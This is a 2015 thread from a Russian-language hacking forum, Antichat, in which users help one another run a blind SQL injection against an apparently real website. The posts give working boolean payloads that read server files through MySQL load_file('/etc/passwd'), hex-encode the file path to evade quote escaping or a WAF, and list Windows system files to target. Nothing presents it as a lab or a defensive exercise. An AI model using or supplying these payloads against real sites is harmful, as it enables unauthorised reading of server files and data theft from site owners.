ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

11.08.2015, 11:25
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
is NULL и is not NULL - во втором случае получите TRUE, если есть права
|
|
|

11.08.2015, 11:49
|
|
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме: 15245
Репутация:
11
|
|
Проверяю данные запросы в консоли
SELECT 1 AND 1=if(load_file('/etc/passwd') is not NULL,1,2); Возвращает 1.
SELECT 1 AND 1=if(load_file('/etc/passwd') is NULL,1,2); Возвращает 0.
Но когда подставляю на сайте что в первом, что во втором случае отображается то же самое, что и при: site.ru/index.php?id=1
Но если делаю так: site.ru/index.php?id=1 and 1=0--+
Возвращает пустую страницу.
Это значит что нет прав на загрузку файла?
Может я что-то делаю не так?=\
|
|
|

11.08.2015, 12:54
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
может что-то не так. может кавычки у вас экранируются, может /etc/passwd блокирует WAF, или еще что-то. но результаты при этих запросах должны отличатся вне зависимости от того, есть права или нет.
|
|
|

11.08.2015, 16:05
|
|
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме: 15245
Репутация:
11
|
|
Теперь такой запроc: AND 1=if(load_file(unhex(hex('/etc/passwd'))) is not NULL,1,2)--+ Возвращает пустую страницу.
Может сервер на винде...
yarbabin,Спасибо огромное за помощь буду дальше пытаться ковырять
|
|
|

11.08.2015, 16:07
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
и толку что вы спрятали слово в кавычках в хекс и анхекс? load_file(0x2f6574632f706173737764)
|
|
|

11.08.2015, 16:08
|
|
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме: 15245
Репутация:
11
|
|
Но теперь хотя бы есть результат)
|
|
|

11.08.2015, 16:12
|
|
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме: 15245
Репутация:
11
|
|
При таком запросе: AND 1=if(load_file(unhex(hex('/etc/passwd'))) is NULL,1,2)--+ отображается как и при site.ru/index.php?id=1
а при AND 1=if(load_file(unhex(hex('/etc/passwd'))) is not NULL,1,2)--+ пустая страница.
То же самое и при and 1=if(load_file(0x2f6574632f706173737764) is not NULL,1,2)--+
и
and 1=if(load_file(0x2f6574632f706173737764) is NULL,1,2)--+
просто под рукой сейчас нчего нет что в хекс кодирует строку)
|
|
|

11.08.2015, 16:32
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от 3nvY
↑
При таком запросе: AND 1=if(load_file(unhex(hex('/etc/passwd')))
is NULL
,1,2)--+ отображается как и при site.ru/index.php?id=1
а при AND 1=if(load_file(unhex(hex('/etc/passwd')))
is not NULL
,1,2)--+ пустая страница.
and 1=1 TRUE
and 1=2 FALSE
Соответственно, load_file(unhex(hex('/etc/passwd')) возвращает null, у вас нет прав на чтение.
|
|
|

11.08.2015, 16:39
|
|
Познающий
Регистрация: 08.06.2015
Сообщений: 50
Провел на форуме: 15245
Репутация:
11
|
|
Это я понял. Просто думаю если серв на винде то путь другой будет. Сейчас времени нет тестить (не дома нахожусь).
Под вендой в консоли при запросе select 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2); вернётся false так как такого пути не существует.
|
|
|

11.08.2015, 17:07
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от 3nvY
↑
Это я понял. Просто думаю если серв на винде то путь другой будет. Сейчас времени нет тестить (не дома нахожусь).
Под вендой в консоли при запросе select 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2); вернётся false так как такого пути не существует.
C:\boot.ini
C:\Windows\System32\drivers\etc\hosts
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|